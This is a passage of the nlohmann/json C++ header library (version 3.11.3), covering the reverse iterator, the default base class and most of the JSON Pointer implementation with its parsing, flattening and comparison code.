NOLINT(cert-dcl21-cpp)\n        {\n            return static_cast<json_reverse_iterator>(base_iterator::operator++(1));\n        }\n\n        /// pre-increment (++it)\n        json_reverse_iterator& operator++()\n        {\n            return static_cast<json_reverse_iterator&>(base_iterator::operator++());\n        }\n\n        /// post-decrement (it--)\n        json_reverse_iterator operator--(int)& // NOLINT(cert-dcl21-cpp)\n        {\n            return static_cast<json_reverse_iterator>(base_iterator::operator--(1));\n        }\n\n        /// pre-decrement (--it)\n        json_reverse_iterator& operator--()\n        {\n            return static_cast<json_reverse_iterator&>(base_iterator::operator--());\n        }\n\n        /// add to iterator\n        json_reverse_iterator& operator+=(difference_type i)\n        {\n            return static_cast<json_reverse_iterator&>(base_iterator::operator+=(i));\n        }\n\n        /// add to iterator\n        json_reverse_iterator operator+(difference_type i) const\n        {\n            return static_cast<json_reverse_iterator>(base_iterator::operator+(i));\n        }\n\n        /// subtract from iterator\n        json_reverse_iterator operator-(difference_type i) const\n        {\n            return static_cast<json_reverse_iterator>(base_iterator::operator-(i));\n        }\n\n        /// return difference\n        difference_type operator-(const json_reverse_iterator& other) const\n        {\n            return base_iterator(*this) - base_iterator(other);\n        }\n\n        /// access to successor\n        reference operator[](difference_type n) const\n        {\n            return *(this->operator+(n));\n        }\n\n        /// return the key of an object iterator\n        auto key() const -> decltype(std::declval<Base>().key())\n        {\n            auto it = --this->base();\n            return it.key();\n        }\n\n        /// return the value of an iterator\n        reference value() const\n        {\n            auto it = --this->base();\n            return it.operator * ();\n        }\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/iterators/primitive_iterator.hpp>\n\n// #include <nlohmann/detail/json_custom_base_class.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <type_traits> // conditional, is_same\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /*!\n    @brief Default base class of the @ref basic_json class.\n\n    So that the correct implementations of the copy / move ctors / assign operators\n    of @ref basic_json do not require complex case distinctions\n    (no base class / custom base class used as customization point),\n    @ref basic_json always has a base class.\n    By default, this class is used because it is empty and thus has no effect\n    on the behavior of @ref basic_json.\n    */\n    struct json_default_base {};\n\n    template<class T>\n    using json_base_class = typename std::conditional <\n        std::is_same<T, void>::value,\n        json_default_base,\n        T\n    >::type;\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/json_pointer.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // all_of\n#include <cctype> // isdigit\n#include <cerrno> // errno, ERANGE\n#include <cstdlib> // strtoull\n#ifndef JSON_NO_IO\n#include <iosfwd> // ostream\n#endif  // JSON_NO_IO\n#include <limits> // max\n#include <numeric> // accumulate\n#include <string> // string\n#include <utility> // move\n#include <vector> // vector\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n// #include <nlohmann/detail/string_escape.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/// @brief JSON Pointer defines a string syntax for identifying a specific value within a JSON document\n/// @sa https://json.nlohmann.me/api/json_pointer/\ntemplate<typename RefStringType>\nclass json_pointer\n{\n    // allow basic_json to access private members\n    NLOHMANN_BASIC_JSON_TPL_DECLARATION\n        friend class basic_json;\n\n    template<typename>\n    friend class json_pointer;\n\n    template<typename T>\n    struct string_t_helper\n    {\n        using type = T;\n    };\n\n    NLOHMANN_BASIC_JSON_TPL_DECLARATION\n        struct string_t_helper<NLOHMANN_BASIC_JSON_TPL>\n    {\n        using type = StringType;\n    };\n\npublic:\n    // for backwards compatibility accept BasicJsonType\n    using string_t = typename string_t_helper<RefStringType>::type;\n\n    /// @brief create JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/json_pointer/\n    explicit json_pointer(const string_t& s = \"\")\n        : reference_tokens(split(s))\n    {\n    }\n\n    /// @brief return a string representation of the JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/to_string/\n    string_t to_string() const\n    {\n        return std::accumulate(reference_tokens.begin(), reference_tokens.end(),\n            string_t{},\n            [](const string_t& a, const string_t& b)\n            {\n                return detail::concat(a, '/', detail::escape(b));\n            });\n    }\n\n    /// @brief return a string representation of the JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_string/\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, to_string())\n        operator string_t() const\n    {\n        return to_string();\n    }\n\n#ifndef JSON_NO_IO\n    /// @brief write string representation of the JSON pointer to stream\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ltlt/\n    friend std::ostream& operator<<(std::ostream& o, const json_pointer& ptr)\n    {\n        o << ptr.to_string();\n        return o;\n    }\n#endif\n\n    /// @brief append another JSON pointer at the end of this JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_slasheq/\n    json_pointer& operator/=(const json_pointer& ptr)\n    {\n        reference_tokens.insert(reference_tokens.end(),\n            ptr.reference_tokens.begin(),\n            ptr.reference_tokens.end());\n        return *this;\n    }\n\n    /// @brief append an unescaped reference token at the end of this JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_slasheq/\n    json_pointer& operator/=(string_t token)\n    {\n        push_back(std::move(token));\n        return *this;\n    }\n\n    /// @brief append an array index at the end of this JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_slasheq/\n    json_pointer& operator/=(std::size_t array_idx)\n    {\n        return *this /= std::to_string(array_idx);\n    }\n\n    /// @brief create a new JSON pointer by appending the right JSON pointer at the end of the left JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_slash/\n    friend json_pointer operator/(const json_pointer& lhs,\n        const json_pointer& rhs)\n    {\n        return json_pointer(lhs) /= rhs;\n    }\n\n    /// @brief create a new JSON pointer by appending the unescaped token at the end of the JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_slash/\n    friend json_pointer operator/(const json_pointer& lhs, string_t token) // NOLINT(performance-unnecessary-value-param)\n    {\n        return json_pointer(lhs) /= std::move(token);\n    }\n\n    /// @brief create a new JSON pointer by appending the array-index-token at the end of the JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_slash/\n    friend json_pointer operator/(const json_pointer& lhs, std::size_t array_idx)\n    {\n        return json_pointer(lhs) /= array_idx;\n    }\n\n    /// @brief returns the parent of this JSON pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/parent_pointer/\n    json_pointer parent_pointer() const\n    {\n        if (empty())\n        {\n            return *this;\n        }\n\n        json_pointer res = *this;\n        res.pop_back();\n        return res;\n    }\n\n    /// @brief remove last reference token\n    /// @sa https://json.nlohmann.me/api/json_pointer/pop_back/\n    void pop_back()\n    {\n        if (JSON_HEDLEY_UNLIKELY(empty()))\n        {\n            JSON_THROW(detail::out_of_range::create(405, \"JSON pointer has no parent\", nullptr));\n        }\n\n        reference_tokens.pop_back();\n    }\n\n    /// @brief return last reference token\n    /// @sa https://json.nlohmann.me/api/json_pointer/back/\n    const string_t& back() const\n    {\n        if (JSON_HEDLEY_UNLIKELY(empty()))\n        {\n            JSON_THROW(detail::out_of_range::create(405, \"JSON pointer has no parent\", nullptr));\n        }\n\n        return reference_tokens.back();\n    }\n\n    /// @brief append an unescaped token at the end of the reference pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/push_back/\n    void push_back(const string_t& token)\n    {\n        reference_tokens.push_back(token);\n    }\n\n    /// @brief append an unescaped token at the end of the reference pointer\n    /// @sa https://json.nlohmann.me/api/json_pointer/push_back/\n    void push_back(string_t&& token)\n    {\n        reference_tokens.push_back(std::move(token));\n    }\n\n    /// @brief return whether pointer points to the root document\n    /// @sa https://json.nlohmann.me/api/json_pointer/empty/\n    bool empty() const noexcept\n    {\n        return reference_tokens.empty();\n    }\n\nprivate:\n    /*!\n    @param[in] s  reference token to be converted into an array index\n\n    @return integer representation of @a s\n\n    @throw parse_error.106  if an array index begins with '0'\n    @throw parse_error.109  if an array index begins not with a digit\n    @throw out_of_range.404 if string @a s could not be converted to an integer\n    @throw out_of_range.410 if an array index exceeds size_type\n    */\n    template<typename BasicJsonType>\n    static typename BasicJsonType::size_type array_index(const string_t& s)\n    {\n        using size_type = typename BasicJsonType::size_type;\n\n        // error condition (cf. RFC 6901, Sect. 4)\n        if (JSON_HEDLEY_UNLIKELY(s.size() > 1 && s[0] == '0'))\n        {\n            JSON_THROW(detail::parse_error::create(106, 0, detail::concat(\"array index '\", s, \"' must not begin with '0'\"), nullptr));\n        }\n\n        // error condition (cf. RFC 6901, Sect. 4)\n        if (JSON_HEDLEY_UNLIKELY(s.size() > 1 && !(s[0] >= '1' && s[0] <= '9')))\n        {\n            JSON_THROW(detail::parse_error::create(109, 0, detail::concat(\"array index '\", s, \"' is not a number\"), nullptr));\n        }\n\n        const char* p = s.c_str();\n        char* p_end = nullptr;\n        errno = 0; // strtoull doesn't reset errno\n        const unsigned long long res = std::strtoull(p, &p_end, 10); // NOLINT(runtime/int)\n        if (p == p_end // invalid input or empty string\n            || errno == ERANGE // out of range\n            || JSON_HEDLEY_UNLIKELY(static_cast<std::size_t>(p_end - p) != s.size())) // incomplete read\n        {\n            JSON_THROW(detail::out_of_range::create(404, detail::concat(\"unresolved reference token '\", s, \"'\"), nullptr));\n        }\n\n        // only triggered on special platforms (like 32bit), see also\n        // https://github.com/nlohmann/json/pull/2203\n        if (res >= static_cast<unsigned long long>((std::numeric_limits<size_type>::max)()))  // NOLINT(runtime/int)\n        {\n            JSON_THROW(detail::out_of_range::create(410, detail::concat(\"array index \", s, \" exceeds size_type\"), nullptr));   // LCOV_EXCL_LINE\n        }\n\n        return static_cast<size_type>(res);\n    }\n\nJSON_PRIVATE_UNLESS_TESTED:\n    json_pointer top() const\n    {\n        if (JSON_HEDLEY_UNLIKELY(empty()))\n        {\n            JSON_THROW(detail::out_of_range::create(405, \"JSON pointer has no parent\", nullptr));\n        }\n\n        json_pointer result = *this;\n        result.reference_tokens = { reference_tokens[0] };\n        return result;\n    }\n\nprivate:\n    /*!\n    @brief create and return a reference to the pointed to value\n\n    @complexity Linear in the number of reference tokens.\n\n    @throw parse_error.109 if array index is not a number\n    @throw type_error.313 if value cannot be unflattened\n    */\n    template<typename BasicJsonType>\n    BasicJsonType& get_and_create(BasicJsonType& j) const\n    {\n        auto* result = &j;\n\n        // in case no reference tokens exist, return a reference to the JSON value\n        // j which will be overwritten by a primitive value\n        for (const auto& reference_token : reference_tokens)\n        {\n            switch (result->type())\n            {\n            case detail::value_t::null:\n            {\n                if (reference_token == \"0\")\n                {\n                    // start a new array if reference token is 0\n                    result = &result->operator[](0);\n                }\n                else\n                {\n                    // start a new object otherwise\n                    result = &result->operator[](reference_token);\n                }\n                break;\n            }\n\n            case detail::value_t::object:\n            {\n                // create an entry in the object\n                result = &result->operator[](reference_token);\n                break;\n            }\n\n            case detail::value_t::array:\n            {\n                // create an entry in the array\n                result = &result->operator[](array_index<BasicJsonType>(reference_token));\n                break;\n            }\n\n            /*\n            The following code is only reached if there exists a reference\n            token _and_ the current value is primitive. In this case, we have\n            an error situation, because primitive values may only occur as\n            single value; that is, with an empty list of reference tokens.\n            */\n            case detail::value_t::string:\n            case detail::value_t::boolean:\n            case detail::value_t::number_integer:\n            case detail::value_t::number_unsigned:\n            case detail::value_t::number_float:\n            case detail::value_t::binary:\n            case detail::value_t::discarded:\n            default:\n                JSON_THROW(detail::type_error::create(313, \"invalid value to unflatten\", &j));\n            }\n        }\n\n        return *result;\n    }\n\n    /*!\n    @brief return a reference to the pointed to value\n\n    @note This version does not throw if a value is not present, but tries to\n          create nested values instead. For instance, calling this function\n          with pointer `\"/this/that\"` on a null value is equivalent to calling\n          `operator[](\"this\").operator[](\"that\")` on that value, effectively\n          changing the null value to an object.\n\n    @param[in] ptr  a JSON value\n\n    @return reference to the JSON value pointed to by the JSON pointer\n\n    @complexity Linear in the length of the JSON pointer.\n\n    @throw parse_error.106   if an array index begins with '0'\n    @throw parse_error.109   if an array index was not a number\n    @throw out_of_range.404  if the JSON pointer can not be resolved\n    */\n    template<typename BasicJsonType>\n    BasicJsonType& get_unchecked(BasicJsonType* ptr) const\n    {\n        for (const auto& reference_token : reference_tokens)\n        {\n            // convert null values to arrays or objects before continuing\n            if (ptr->is_null())\n            {\n                // check if reference token is a number\n                const bool nums =\n                    std::all_of(reference_token.begin(), reference_token.end(),\n                        [](const unsigned char x)\n                        {\n                            return std::isdigit(x);\n                        });\n\n                // change value to array for numbers or \"-\" or to object otherwise\n                *ptr = (nums || reference_token == \"-\")\n                    ? detail::value_t::array\n                    : detail::value_t::object;\n            }\n\n            switch (ptr->type())\n            {\n            case detail::value_t::object:\n            {\n                // use unchecked object access\n                ptr = &ptr->operator[](reference_token);\n                break;\n            }\n\n            case detail::value_t::array:\n            {\n                if (reference_token == \"-\")\n                {\n                    // explicitly treat \"-\" as index beyond the end\n                    ptr = &ptr->operator[](ptr->m_data.m_value.array->size());\n                }\n                else\n                {\n                    // convert array index to number; unchecked access\n                    ptr = &ptr->operator[](array_index<BasicJsonType>(reference_token));\n                }\n                break;\n            }\n\n            case detail::value_t::null:\n            case detail::value_t::string:\n            case detail::value_t::boolean:\n            case detail::value_t::number_integer:\n            case detail::value_t::number_unsigned:\n            case detail::value_t::number_float:\n            case detail::value_t::binary:\n            case detail::value_t::discarded:\n            default:\n                JSON_THROW(detail::out_of_range::create(404, detail::concat(\"unresolved reference token '\", reference_token, \"'\"), ptr));\n            }\n        }\n\n        return *ptr;\n    }\n\n    /*!\n    @throw parse_error.106   if an array index begins with '0'\n    @throw parse_error.109   if an array index was not a number\n    @throw out_of_range.402  if the array index '-' is used\n    @throw out_of_range.404  if the JSON pointer can not be resolved\n    */\n    template<typename BasicJsonType>\n    BasicJsonType& get_checked(BasicJsonType* ptr) const\n    {\n        for (const auto& reference_token : reference_tokens)\n        {\n            switch (ptr->type())\n            {\n            case detail::value_t::object:\n            {\n                // note: at performs range check\n                ptr = &ptr->at(reference_token);\n                break;\n            }\n\n            case detail::value_t::array:\n            {\n                if (JSON_HEDLEY_UNLIKELY(reference_token == \"-\"))\n                {\n                    // \"-\" always fails the range check\n                    JSON_THROW(detail::out_of_range::create(402, detail::concat(\n                        \"array index '-' (\", std::to_string(ptr->m_data.m_value.array->size()),\n                        \") is out of range\"), ptr));\n                }\n\n                // note: at performs range check\n                ptr = &ptr->at(array_index<BasicJsonType>(reference_token));\n                break;\n            }\n\n            case detail::value_t::null:\n            case detail::value_t::string:\n            case detail::value_t::boolean:\n            case detail::value_t::number_integer:\n            case detail::value_t::number_unsigned:\n            case detail::value_t::number_float:\n            case detail::value_t::binary:\n            case detail::value_t::discarded:\n            default:\n                JSON_THROW(detail::out_of_range::create(404, detail::concat(\"unresolved reference token '\", reference_token, \"'\"), ptr));\n            }\n        }\n\n        return *ptr;\n    }\n\n    /*!\n    @brief return a const reference to the pointed to value\n\n    @param[in] ptr  a JSON value\n\n    @return const reference to the JSON value pointed to by the JSON\n    pointer\n\n    @throw parse_error.106   if an array index begins with '0'\n    @throw parse_error.109   if an array index was not a number\n    @throw out_of_range.402  if the array index '-' is used\n    @throw out_of_range.404  if the JSON pointer can not be resolved\n    */\n    template<typename BasicJsonType>\n    const BasicJsonType& get_unchecked(const BasicJsonType* ptr) const\n    {\n        for (const auto& reference_token : reference_tokens)\n        {\n            switch (ptr->type())\n            {\n            case detail::value_t::object:\n            {\n                // use unchecked object access\n                ptr = &ptr->operator[](reference_token);\n                break;\n            }\n\n            case detail::value_t::array:\n            {\n                if (JSON_HEDLEY_UNLIKELY(reference_token == \"-\"))\n                {\n                    // \"-\" cannot be used for const access\n                    JSON_THROW(detail::out_of_range::create(402, detail::concat(\"array index '-' (\", std::to_string(ptr->m_data.m_value.array->size()), \") is out of range\"), ptr));\n                }\n\n                // use unchecked array access\n                ptr = &ptr->operator[](array_index<BasicJsonType>(reference_token));\n                break;\n            }\n\n            case detail::value_t::null:\n            case detail::value_t::string:\n            case detail::value_t::boolean:\n            case detail::value_t::number_integer:\n            case detail::value_t::number_unsigned:\n            case detail::value_t::number_float:\n            case detail::value_t::binary:\n            case detail::value_t::discarded:\n            default:\n                JSON_THROW(detail::out_of_range::create(404, detail::concat(\"unresolved reference token '\", reference_token, \"'\"), ptr));\n            }\n        }\n\n        return *ptr;\n    }\n\n    /*!\n    @throw parse_error.106   if an array index begins with '0'\n    @throw parse_error.109   if an array index was not a number\n    @throw out_of_range.402  if the array index '-' is used\n    @throw out_of_range.404  if the JSON pointer can not be resolved\n    */\n    template<typename BasicJsonType>\n    const BasicJsonType& get_checked(const BasicJsonType* ptr) const\n    {\n        for (const auto& reference_token : reference_tokens)\n        {\n            switch (ptr->type())\n            {\n            case detail::value_t::object:\n            {\n                // note: at performs range check\n                ptr = &ptr->at(reference_token);\n                break;\n            }\n\n            case detail::value_t::array:\n            {\n                if (JSON_HEDLEY_UNLIKELY(reference_token == \"-\"))\n                {\n                    // \"-\" always fails the range check\n                    JSON_THROW(detail::out_of_range::create(402, detail::concat(\n                        \"array index '-' (\", std::to_string(ptr->m_data.m_value.array->size()),\n                        \") is out of range\"), ptr));\n                }\n\n                // note: at performs range check\n                ptr = &ptr->at(array_index<BasicJsonType>(reference_token));\n                break;\n            }\n\n            case detail::value_t::null:\n            case detail::value_t::string:\n            case detail::value_t::boolean:\n            case detail::value_t::number_integer:\n            case detail::value_t::number_unsigned:\n            case detail::value_t::number_float:\n            case detail::value_t::binary:\n            case detail::value_t::discarded:\n            default:\n                JSON_THROW(detail::out_of_range::create(404, detail::concat(\"unresolved reference token '\", reference_token, \"'\"), ptr));\n            }\n        }\n\n        return *ptr;\n    }\n\n    /*!\n    @throw parse_error.106   if an array index begins with '0'\n    @throw parse_error.109   if an array index was not a number\n    */\n    template<typename BasicJsonType>\n    bool contains(const BasicJsonType* ptr) const\n    {\n        for (const auto& reference_token : reference_tokens)\n        {\n            switch (ptr->type())\n            {\n            case detail::value_t::object:\n            {\n                if (!ptr->contains(reference_token))\n                {\n                    // we did not find the key in the object\n                    return false;\n                }\n\n                ptr = &ptr->operator[](reference_token);\n                break;\n            }\n\n            case detail::value_t::array:\n            {\n                if (JSON_HEDLEY_UNLIKELY(reference_token == \"-\"))\n                {\n                    // \"-\" always fails the range check\n                    return false;\n                }\n                if (JSON_HEDLEY_UNLIKELY(reference_token.size() == 1 && !(\"0\" <= reference_token && reference_token <= \"9\")))\n                {\n                    // invalid char\n                    return false;\n                }\n                if (JSON_HEDLEY_UNLIKELY(reference_token.size() > 1))\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!('1' <= reference_token[0] && reference_token[0] <= '9')))\n                    {\n                        // first char should be between '1' and '9'\n                        return false;\n                    }\n                    for (std::size_t i = 1; i < reference_token.size(); i++)\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!('0' <= reference_token[i] && reference_token[i] <= '9')))\n                        {\n                            // other char should be between '0' and '9'\n                            return false;\n                        }\n                    }\n                }\n\n                const auto idx = array_index<BasicJsonType>(reference_token);\n                if (idx >= ptr->size())\n                {\n                    // index out of range\n                    return false;\n                }\n\n                ptr = &ptr->operator[](idx);\n                break;\n            }\n\n            case detail::value_t::null:\n            case detail::value_t::string:\n            case detail::value_t::boolean:\n            case detail::value_t::number_integer:\n            case detail::value_t::number_unsigned:\n            case detail::value_t::number_float:\n            case detail::value_t::binary:\n            case detail::value_t::discarded:\n            default:\n            {\n                // we do not expect primitive values if there is still a\n                // reference token to process\n                return false;\n            }\n            }\n        }\n\n        // no reference token left means we found a primitive value\n        return true;\n    }\n\n    /*!\n    @brief split the string input to reference tokens\n\n    @note This function is only called by the json_pointer constructor.\n          All exceptions below are documented there.\n\n    @throw parse_error.107  if the pointer is not empty or begins with '/'\n    @throw parse_error.108  if character '~' is not followed by '0' or '1'\n    */\n    static std::vector<string_t> split(const string_t& reference_string)\n    {\n        std::vector<string_t> result;\n\n        // special case: empty reference string -> no reference tokens\n        if (reference_string.empty())\n        {\n            return result;\n        }\n\n        // check if nonempty reference string begins with slash\n        if (JSON_HEDLEY_UNLIKELY(reference_string[0] != '/'))\n        {\n            JSON_THROW(detail::parse_error::create(107, 1, detail::concat(\"JSON pointer must be empty or begin with '/' - was: '\", reference_string, \"'\"), nullptr));\n        }\n\n        // extract the reference tokens:\n        // - slash: position of the last read slash (or end of string)\n        // - start: position after the previous slash\n        for (\n            // search for the first slash after the first character\n            std::size_t slash = reference_string.find_first_of('/', 1),\n            // set the beginning of the first reference token\n            start = 1;\n            // we can stop if start == 0 (if slash == string_t::npos)\n            start != 0;\n            // set the beginning of the next reference token\n            // (will eventually be 0 if slash == string_t::npos)\n            start = (slash == string_t::npos) ? 0 : slash + 1,\n            // find next slash\n            slash = reference_string.find_first_of('/', start))\n        {\n            // use the text between the beginning of the reference token\n            // (start) and the last slash (slash).\n            auto reference_token = reference_string.substr(start, slash - start);\n\n            // check reference tokens are properly escaped\n            for (std::size_t pos = reference_token.find_first_of('~');\n                pos != string_t::npos;\n                pos = reference_token.find_first_of('~', pos + 1))\n            {\n                JSON_ASSERT(reference_token[pos] == '~');\n\n                // ~ must be followed by 0 or 1\n                if (JSON_HEDLEY_UNLIKELY(pos == reference_token.size() - 1 ||\n                    (reference_token[pos + 1] != '0' &&\n                        reference_token[pos + 1] != '1')))\n                {\n                    JSON_THROW(detail::parse_error::create(108, 0, \"escape character '~' must be followed with '0' or '1'\", nullptr));\n                }\n            }\n\n            // finally, store the reference token\n            detail::unescape(reference_token);\n            result.push_back(reference_token);\n        }\n\n        return result;\n    }\n\nprivate:\n    /*!\n    @param[in] reference_string  the reference string to the current value\n    @param[in] value             the value to consider\n    @param[in,out] result        the result object to insert values to\n\n    @note Empty objects or arrays are flattened to `null`.\n    */\n    template<typename BasicJsonType>\n    static void flatten(const string_t& reference_string,\n        const BasicJsonType& value,\n        BasicJsonType& result)\n    {\n        switch (value.type())\n        {\n        case detail::value_t::array:\n        {\n            if (value.m_data.m_value.array->empty())\n            {\n                // flatten empty array as null\n                result[reference_string] = nullptr;\n            }\n            else\n            {\n                // iterate array and use index as reference string\n                for (std::size_t i = 0; i < value.m_data.m_value.array->size(); ++i)\n                {\n                    flatten(detail::concat(reference_string, '/', std::to_string(i)),\n                        value.m_data.m_value.array->operator[](i), result);\n                }\n            }\n            break;\n        }\n\n        case detail::value_t::object:\n        {\n            if (value.m_data.m_value.object->empty())\n            {\n                // flatten empty object as null\n                result[reference_string] = nullptr;\n            }\n            else\n            {\n                // iterate object and use keys as reference string\n                for (const auto& element : *value.m_data.m_value.object)\n                {\n                    flatten(detail::concat(reference_string, '/', detail::escape(element.first)), element.second, result);\n                }\n            }\n            break;\n        }\n\n        case detail::value_t::null:\n        case detail::value_t::string:\n        case detail::value_t::boolean:\n        case detail::value_t::number_integer:\n        case detail::value_t::number_unsigned:\n        case detail::value_t::number_float:\n        case detail::value_t::binary:\n        case detail::value_t::discarded:\n        default:\n        {\n            // add primitive value with its reference string\n            result[reference_string] = value;\n            break;\n        }\n        }\n    }\n\n    /*!\n    @param[in] value  flattened JSON\n\n    @return unflattened JSON\n\n    @throw parse_error.109 if array index is not a number\n    @throw type_error.314  if value is not an object\n    @throw type_error.315  if object values are not primitive\n    @throw type_error.313  if value cannot be unflattened\n    */\n    template<typename BasicJsonType>\n    static BasicJsonType\n        unflatten(const BasicJsonType& value)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!value.is_object()))\n        {\n            JSON_THROW(detail::type_error::create(314, \"only objects can be unflattened\", &value));\n        }\n\n        BasicJsonType result;\n\n        // iterate the JSON object values\n        for (const auto& element : *value.m_data.m_value.object)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!element.second.is_primitive()))\n            {\n                JSON_THROW(detail::type_error::create(315, \"values in object must be primitive\", &element.second));\n            }\n\n            // assign value to reference pointed to by JSON pointer; Note that if\n            // the JSON pointer is \"\" (i.e., points to the whole value), function\n            // get_and_create returns a reference to result itself. An assignment\n            // will then create a primitive value.\n            json_pointer(element.first).get_and_create(result) = element.second;\n        }\n\n        return result;\n    }\n\n    // can't use conversion operator because of ambiguity\n    json_pointer<string_t> convert() const&\n    {\n        json_pointer<string_t> result;\n        result.reference_tokens = reference_tokens;\n        return result;\n    }\n\n    json_pointer<string_t> convert()&&\n    {\n        json_pointer<string_t> result;\n        result.reference_tokens = std::move(reference_tokens);\n        return result;\n    }\n\npublic:\n#if JSON_HAS_THREE_WAY_COMPARISON\n    /// @brief compares two JSON pointers for equality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_eq/\n    template<typename RefStringTypeRhs>\n    bool operator==(const json_pointer<RefStringTypeRhs>& rhs) const noexcept\n    {\n        return reference_tokens == rhs.reference_tokens;\n    }\n\n    /// @brief compares JSON pointer and string for equality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_eq/\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.2, operator==(json_pointer))\n        bool operator==(const string_t& rhs) const\n    {\n        return *this == json_pointer(rhs);\n    }\n\n    /// @brief 3-way compares two JSON pointers\n    template<typename RefStringTypeRhs>\n    std::strong_ordering operator<=>(const json_pointer<RefStringTypeRhs>& rhs) const noexcept // *NOPAD*\n    {\n        return  reference_tokens <=> rhs.reference_tokens; // *NOPAD*\n    }\n#else\n    /// @brief compares two JSON pointers for equality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_eq/\n    template<typename RefStringTypeLhs, typename RefStringTypeRhs>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator==(const json_pointer<RefStringTypeLhs>& lhs,\n        const json_pointer<RefStringTypeRhs>& rhs) noexcept;\n\n    /// @brief compares JSON pointer and string for equality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_eq/\n    template<typename RefStringTypeLhs, typename StringType>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator==(const json_pointer<RefStringTypeLhs>& lhs,\n        const StringType& rhs);\n\n    /// @brief compares string and JSON pointer for equality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_eq/\n    template<typename RefStringTypeRhs, typename StringType>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator==(const StringType& lhs,\n        const json_pointer<RefStringTypeRhs>& rhs);\n\n    /// @brief compares two JSON pointers for inequality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_ne/\n    template<typename RefStringTypeLhs, typename RefStringTypeRhs>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator!=(const json_pointer<RefStringTypeLhs>& lhs,\n        const json_pointer<RefStringTypeRhs>& rhs) noexcept;\n\n    /// @brief compares JSON pointer and string for inequality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_ne/\n    template<typename RefStringTypeLhs, typename StringType>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator!=(const json_pointer<RefStringTypeLhs>& lhs,\n        const StringType& rhs);\n\n    /// @brief compares string and JSON pointer for inequality\n    /// @sa https://json.nlohmann.me/api/json_pointer/operator_ne/\n    template<typename RefStringTypeRhs, typename StringType>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator!=(const StringType& lhs,\n        const json_pointer<RefStringTypeRhs>& rhs);\n\n    /// @brief compares two JSON pointer for less-than\n    template<typename RefStringTypeLhs, typename RefStringTypeRhs>\n    // NOLINTNEXTLINE(readability-redundant-declaration)\n    friend bool operator<(const json_pointer<RefStringTypeLhs>& lhs,\n        const json_pointer<RefStringTypeRhs>& rhs) noexcept;\n#endif\n\nprivate:\n    /// the reference tokens\n    std::vector<string_t> reference_tokens;\n};\n\n#if !JSON_HAS_THREE_WAY_COMPARISON\n// functions cannot be defined inside class due to ODR violations\ntemplate<typename RefStringTypeLhs, typename RefStringTypeRhs>\ninline bool operator==(const json_pointer<RefStringTypeLhs>& lhs,\n    const json_pointer<RefStringTypeRhs>& rhs) noexcept\n{\n    return lhs.reference_tokens == rhs.reference_tokens;\n}\n\ntemplate<typename RefStringTypeLhs,\n    typename StringType = typename json_pointer<RefStringTypeLhs>::string_t>\nJSON_HEDLEY_DEPRECATED_FOR(3.11.2, operator==(json_pointer, json_pointer))\ninline bool operator==(const json_pointer<RefStringTypeLhs>& lhs,\n    const StringType& rhs)\n{\n    return lhs == json_pointer<RefStringTypeLhs>(rhs);\n}\n\ntemplate<typename RefStringTypeRhs,\n    typename StringType = typename json_pointer<RefStringTypeRhs>::string_t>\nJSON_HEDLEY_DEPRECATED_FOR(3.11.2, operator==(json_pointer, json_pointer))\ninline bool operator==(const StringType& lhs,\n    const json_pointer<RefStringTypeRhs>& rhs)\n{\n    return json_pointer<RefStringTypeRhs>(lhs) == rhs;\n}\n\ntemplate<typename RefStringTypeLhs, typename RefStringTypeRhs>\ninline bool operator!=(const json_pointer<RefStringTypeLhs>& lhs,\n    const json_pointer<RefStringTypeRhs>& rhs) noexcept\n{\n    return 